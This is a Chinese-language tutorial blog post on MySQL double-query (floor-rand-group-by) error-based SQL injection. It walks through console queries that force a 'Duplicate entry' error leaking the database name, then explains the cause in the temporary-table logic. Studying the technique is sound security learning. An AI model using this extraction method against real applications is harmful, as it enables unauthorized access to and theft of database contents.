• 双查询注入


    双查询注入:它也是报错注入的一种;

    详情请参考:http://www.2cto.com/Article/201211/166268.html

    mysql> select (select database());
    +---------------------+
    | (select database()) |
    +---------------------+
    | security            |
    +---------------------+
    1 row in set (0.00 sec)
    mysql> select concat((select database()));
    +-----------------------------+
    | concat((select database())) |
    +-----------------------------+
    | security                    |
    +-----------------------------+
    1 row in set (0.00 sec)<br><br>注:concat函数是把两个字符串链接到一起;
    <br>mysql> select concat('a','b');<br>+-----------------+<br>| concat('a','b') |<br>+-----------------+<br>| ab              |<br>+-----------------+
    mysql> select rand();
    +--------------------+
    | rand()             |
    +--------------------+
    | 0.6080478007048814 |
    +--------------------+<br><br>注:rand函数是一个随机函数,所以每次出现的值不一样;会出现0-1之间的值;
    mysql> select floor(rand()*2);
    +-----------------+
    | floor(rand()*2) |
    +-----------------+
    |               1 |
    +-----------------+<br><br>注:floor函数是把小数进行取整;
    mysql> select concat((select database()),floor(rand()*2)) as test from informati
    on_schema.tables group by test;
    +-----------+
    | test      |
    +-----------+
    | security0 |
    | security1 |

    接下来就看看一些爆破测试吧:

    mysql> select count(*),concat((select database()),floor(rand()*2)) as test from
    information_schema.tables group by test;
    +----------+-----------+
    | count(*) | test      |
    +----------+-----------+
    |       33 | security0 |
    |       49 | security1 |
    +----------+-----------+
    2 rows in set (0.00 sec)
    mysql> select count(*),concat((select database()),floor(rand()*2)) as test from
    information_schema.tables group by test;
    ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'

    我们get到数据了

    最后的报错是最重要的地方!重复的键值;
    
     那么为什么键值会重复呢,就是因为concat函数执行了两次,因为concat是连接两个随机字符串,当第二次执行的时候,有可能会出现与第一次键值重复的情况!那么这种情况下,就会报错!
    
    也就是:
    
    使用聚合函数,group by子句,并利用随机函数产生错误运行时,由于涉及的随机函数和聚合函数计算;
    
    当在一个聚合函数,比如count后面如果使用分组语句就会把查询的一部分以错误形式显示出来;因为concat函数执行两次,比如select database(),这样就执行了两次select database,与后面的随机函数链接在一起,可能会随机重复,就会报错;
    
    当然大家不用问我MySQL为啥会这样!我也不懂
    
     
    
    关于原理,经过我和小伙伴不懈努力终于搞定了
    
    通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
    
    结论是:当与临时表里面的值进行比较,如果不同,就插入,但是插入的时候又计算了一次,所以如果插入时计算的值与直接比较的值不一样,则报错!
    
    具体原理参考:http://www.mysqlops.com/2012/05/15/mysql-sql-analyze.html)。

     

  • 相关阅读:
    Composite in Javascript
    Model Validation in Asp.net MVC
    HttpRuntime.Cache vs. HttpContext.Current.Cache
    Controller Extensibility in ASP.NET MVC
    The Decorator Pattern in Javascript
    The Flyweight Pattern in Javascript
    Model Binding in ASP.NET MVC
    Asp.net MVC
    jQuery Ajax 实例 全解析
    ASP.NET AJAX入门系列
  • 原文地址:https://www.cnblogs.com/BloodZero/p/4660971.html
Copyright © 2020-2023  润新知